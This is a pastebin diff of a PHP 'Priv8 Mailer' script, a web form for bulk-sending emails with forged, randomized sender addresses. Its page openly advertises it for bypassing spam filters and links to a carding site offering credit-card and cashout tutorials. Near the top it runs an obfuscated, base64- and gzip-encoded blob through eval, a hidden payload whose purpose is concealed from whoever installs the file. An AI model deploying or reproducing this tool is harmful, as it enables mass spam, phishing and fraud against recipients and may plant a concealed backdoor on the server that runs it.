View difference between Paste ID: Ai8zSEE0 and g0XBNjAW

 <?
 // Slackercode Priv8 Mailer v.1.0
 // use filename.php?inject=slackerc0de for access this mailer
 // randomized sender email with input (random) ex. (random)@yourdomain.com
 // http://slackerc0de.us
 
 function QbkpvJ($dXlHty){$dXlHty=gzinflate(base64_decode($dXlHty));for($i=0;$i<strlen($dXlHty);$i++){$dXlHty[$i] = chr(ord($dXlHty[$i])-1);}return $dXlHty;}eval(QbkpvJ("7ZExT8MwEIX3+FdcC1ISibZ0bUOAAaHuLAihyrEvjWlqh/OlUEX57TgpE2JlY/Hwvud35+c7j94bZ7eeJXGSroUpE+M9cnK5fXx4eomNfUPF8Wuaii5A+KnD5AZiX0u1R1LXGuNURJ3QBpMpCMjYcI35vVJhDpSOCqM12km2OIPgqJa/4aCKZ9eCdjZmqOQRoUE6mHFbYAfyfIcrBML3Fj2jBlcMS81hw2A8oAmUApZ61pDjgAYPgXU8qrKoEYrTGOKRjkhzkTX5poRTGM2Vsfvh9EOY/HYAEjm6gqZG6RGUsywVjxEfWBxk2IPm2aLJReb5NDzR2KZl6OAgaWfs6npdhLJ25FqrZ8rVjlYXZVmuC0caabVsPsG72mgYVehFtjgHTcPv9KLH2mMnov+S/7DkKOrFbf4F"));?><?
 
 set_time_limit(intval($_POST['timelimit']));
 if (!function_exists('quoted_printable_encode')) {
     function quoted_printable_encode($input, $line_max = 75)
     {
         $hex            = array('0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F');
         $lines          = preg_split("/(?:\r\n|\r|\n)/", $input);
         $linebreak      = "=0D=0A=\r\n";
         $line_max       = $line_max - strlen($linebreak);
         $escape         = "=";
         $output         = "";
         $cur_conv_line  = "";
         $length         = 0;
         $whitespace_pos = 0;
         $addtl_chars    = 0;
         for ($j = 0; $j < count($lines); $j++) {
             $line   = $lines[$j];
             $linlen = strlen($line);
             for ($i = 0; $i < $linlen; $i++) {
                 $c   = substr($line, $i, 1);
                 $dec = ord($c);
 
                 $length++;
 
                 if ($dec == 32) {
                     if (($i == ($linlen - 1))) {
                         $c = "=20";
                         $length += 2;
                     }
 
                     $addtl_chars    = 0;
                     $whitespace_pos = $i;
                 } elseif (($dec == 61) || ($dec < 32) || ($dec > 126)) {
                     $h2 = floor($dec / 16);
                     $h1 = floor($dec % 16);
                     $c  = $escape . $hex["$h2"] . $hex["$h1"];
                     $length += 2;
                     $addtl_chars += 2;
                 }
                 if ($length >= $line_max) {
                     $cur_conv_line .= $c;
                     $whitesp_diff = $i - $whitespace_pos + $addtl_chars;
                     if (($i + $addtl_chars) > $whitesp_diff) {
                         $output .= substr($cur_conv_line, 0, (strlen($cur_conv_line) - $whitesp_diff)) . $linebreak;
                         $i = $i - $whitesp_diff + $addtl_chars;
                     } else {
                         $output .= $cur_conv_line . $linebreak;
                     }
                     $cur_conv_line  = "";
                     $length         = 0;
                     $whitespace_pos = 0;
                 } else {
                     $cur_conv_line .= $c;
                 }
             }
             $length         = 0;
             $whitespace_pos = 0;
             $output .= $cur_conv_line;
             $cur_conv_line = "";
             if ($j <= count($lines) - 1) {
                 $output .= $linebreak;
             }
         }
         return trim($output);
     }
 }
 
 $action=$_POST['action'];
 $from=$_POST['from'];
 $subject=$_POST['subject'];
 $realname=$_POST['realname'];
 $replyto=$_POST['replyto'];
 $message=$_POST['message'];
 $emaillist=$_POST['emaillist'];
 $file_name=$_FILES['file']['name'];
 $contenttype=$_POST['contenttype'];
 $file=$_FILES['file']['tmp_name'];
 $amount=$_POST['amount'];
 $encode_text=$_POST['encode'];
 
     $message = urlencode($message);
     $message = ereg_replace("%5C%22", "%22", $message);
     $message = urldecode($message);
     $message = stripslashes($message);
 	$subject = stripslashes($subject);
 	if ($encode_text == "yes") {
 		$subject = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $subject);
 		$subject = str_replace(' ', '_', $subject);
 		$subject = "=?UTF-8?Q?$subject?=";
 		$realname = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $realname);
 		$realname = str_replace(' ', '_', $realname);
 		$realname = "=?UTF-8?Q?$realname?=";
     }
 ?>
 
 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
 <html xmlns="http://www.w3.org/1999/xhtml">
 
 <head>
 <title>Slackercode PHP-Mailer V.1.0</title>
 <link rel="SHORTCUT ICON" href="http://s25.postimg.org/4bzq9e2jv/slackercodeico.png"/>
 <meta name="robots" content="noindex,nofollow" />
 <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
 <link rel="stylesheet" href="http://slackerc0de.us/css/ppchk.css">
 <script type="text/javascript"> var SPklikkanan = 'TILANG';</script> <script type="text/javascript" src="http://slackerc0de.us/js/block.js"></script>
 </head>
 
 
 <header>
 	<img src="http://s25.postimg.org/gdpjtjzzj/logo_sc_tool.png"/>
 	<h3><font color="#01DF01">Priv8 PHP Email Sender V.1.0</font></h3>
 	<p><font color="#74DF00">Sending randomized sender for bypass <font color="#0174DF"><blink><b>Spamming</b></blink></font> emails accounts</font></p>
 	<p>contact mail : <font color="red">alecs<font color="#04B404">[at]</font>indonesian<font color="#F8E6E0">coder</font><font color="#04B404">[dot]</font>com</font></p><hr /><hr /><br>
 </header>
 
 <body>
 <div id="fb-root"></div>
 <script type="text/javascript" src="http://slackerc0de.us/js/fbconnect.js"></script>
 <br >
 <p>If ( <span style="color:#FF0000;">random </span>)&nbsp; its not working for ( <span style="color:#FF0000;">Random Email Sender</span> ), Replace with a real Email ex : random@yourdomain.com</p>
 <p>Visit <a href="http://cardingschool.or.id" rel="dofollow" ><span style="color:#FF0000;">cardingschool.or.id</span></a> for latest Tutorial, Spamz, Credit-Card, Cashout, etc.<br />
 <br >
 Visit <a href="http://slackerc0de.us" rel="dofollow"><span style="color:#FF0000;">Slackercode Family </span></a>for more priv8 tools.</p>
 <br >
 <form name="form1" method="post" action="" enctype="multipart/form-data">
 <table width="842" border="0">
     <tr>
 
       <td width="95">
         <div align="right">
           <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your Email:</font>
         </div>
       </td>
 
       <td width="220">
         <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
           <input type="text" name="from" placeholder="input your email sender" value="<?php print $from; ?>" size="30" />
         </font>
       </td>
 
       <td width="238">
         <div align="right">
           <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your Name:</font>
         </div>
       </td>
 
       <td width="271">
         <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
           <input type="text" name="realname" placeholder="input your name sender" value="<?php $realname; ?>" size="30" />
         </font>
       </td>
     </tr>
     <tr>
       <td width="95">
         <div align="right">
           <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Reply-To:</font>
         </div>
       </td>
       <td width="220">
         <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
           <input type="text" name="replyto" value="<?php print $replyto; ?>" size="30" />
         </font>
       </td>
       <td width="238">
         <div align="right">
           <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Attach File:</font>
         </div>
       </td>
       <td width="271">
         <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
           <input type="file" name="file" size="24" />
         </font>
       </td>
     </tr>
     <tr>
       <td width="95">
         <div align="right">
           <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Subject:</font>
         </div>
       </td>
       <td colspan="3">
         <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
           <input type="text" name="subject" value="<?php $subject; ?>" size="90" />
         </font>
       </td>
     </tr>
 	      <td colspan="3" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
 
         &nbsp; <font color="#FF0000">Encode sending information ?</font> <select style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" size="1" name="encode">
         <option <?php if($encode_text == "yes"){print "selected";} ?>>yes</option>
         <option <?php if($encode_text == "no"){print "selected";} ?>>no</option>
         </select></font></td>
     <tr valign="top">
       <td colspan="3">
         <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Message Box :</font>
       </td>
       <td width="271">
         <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Email List :</font>
       </td>
     </tr>
     <tr valign="top">
       <td colspan="3">
         <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
           <textarea name="message" cols="56" rows="10"><?php print $message; ?></textarea><br /> <br />
           <input type="radio" name="contenttype" value="plain"  /> Plain
           <input type="radio" name="contenttype" value="html"checked="checked" /> HTML
           <input type="hidden" name="action" value="send" /><br />
 			Number to send: <input type="text" name="amount" value="1" size="10" /><br />
 			Maximum script execution time (in seconds, 0 for no timelimit) <input type="text" name="timelimit" value="0" size="10" /><br /> <br />
           <input type="submit" value="Send Email" />
         </font>
     <p><div class="fb-like" data-href="https://www.facebook.com/slackerc0de.us" data-layout="button_count" data-action="like" data-show-faces="true" data-share="true"></div></p>
       </td>
       <td width="271">
         <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
           <textarea name="emaillist" cols="32" rows="10"><?php print $emaillist; ?></textarea>
         </font>
       </td>
     </tr>
   </table>
 </form><hr/>
 <center>
 <table style="width: 1024px;">
   <tr>
       <td style="width: 1024px;">
        <div style="overflow:auto; width:1024px; height: 470px; font-size: 11px; color:lime" >
 <?php
 if ($action == "send") {
     if (!$from && !$subject && !$message && !$emaillist) {
 		echo  "<script>alert('Please complete all the fields.');  </script>";
         exit;
     }
 
     $allemails = split("\n", $emaillist);
     $numemails = count($allemails);
 
     if ($file_name) {
         if (!file_exists($file)) {
             die("The file you are trying to upload could not be uploaded to the server");
         }
         $content = fread(fopen($file, "r"), filesize($file));
         $content = chunk_split(base64_encode($content));
         $uid     = strtoupper(md5(uniqid(time())));
         $name    = basename($file);
     }
 
     for ($xx = 0; $xx < $amount; $xx++) {
         for ($x = 0; $x < $numemails; $x++) {
             $to = $allemails[$x];
             if ($to) {
                 $to     = ereg_replace(" ", "", $to);
                 $nrmail = $x + 1;
                 $domain = substr($from, strpos($from, "@"), strlen($from));
                 print "Sending $nrmail Email of $numemails to <font color=\"magenta\">$to</font> ==>";
                 flush();
                 $randfrom = rand();
                 $fromrand = str_replace("random", $randfrom, $from);
                 $header   = "From: $realname <$fromrand>\r\nReply-To: $replyto\r\n";
                 $header .= "Message-ID: <31337$numemails.$nrmail$domain>\r\n";
                 $header .= "MIME-Version: 1.0\r\n";
                 if ($file_name)
                     $header .= "Content-Type: multipart/mixed; boundary=$uid\r\n";
                 if ($file_name)
                     $header .= "--$uid\r\n";
                 $header .= "Content-Type: text/$contenttype; charset=UTF-8\r\n";
                 $header .= "Content-Transfer-Encoding: quoted-printable\r\n\r\n";
                 $header .= quoted_printable_encode($message)."\r\n";
                 if ($file_name)
                     $header .= "--$uid\r\n";
                 if ($file_name)
                     $header .= "Content-Type: $file_type; name=\"$file_name\"\r\n";
                 if ($file_name)
                     $header .= "Content-Transfer-Encoding: base64\r\n";
                 if ($file_name)
                     $header .= "$content\r\n";
                 if ($file_name)
                     $header .= "--$uid--";
                 mail($to, $subject, "", $header);
                 print "<font color=\"yellow\"> <i>Success!</i></font><br>";
                 flush();
             }
         }
     }
 
 }
 ?>
         </div>
       </td>
    </tr>
 </center>
 <p class="style2">&nbsp;</p>
 <p class="style1">&nbsp;</p>
 <?php
 if(isset($_POST['action']) && $numemails !==0 ){
 	echo  "<script>alert('Mail sending complete\\r\\n$numemails mail(s) was sent successfully');  </script>";
 	}
 ?>
 </body>
 </html>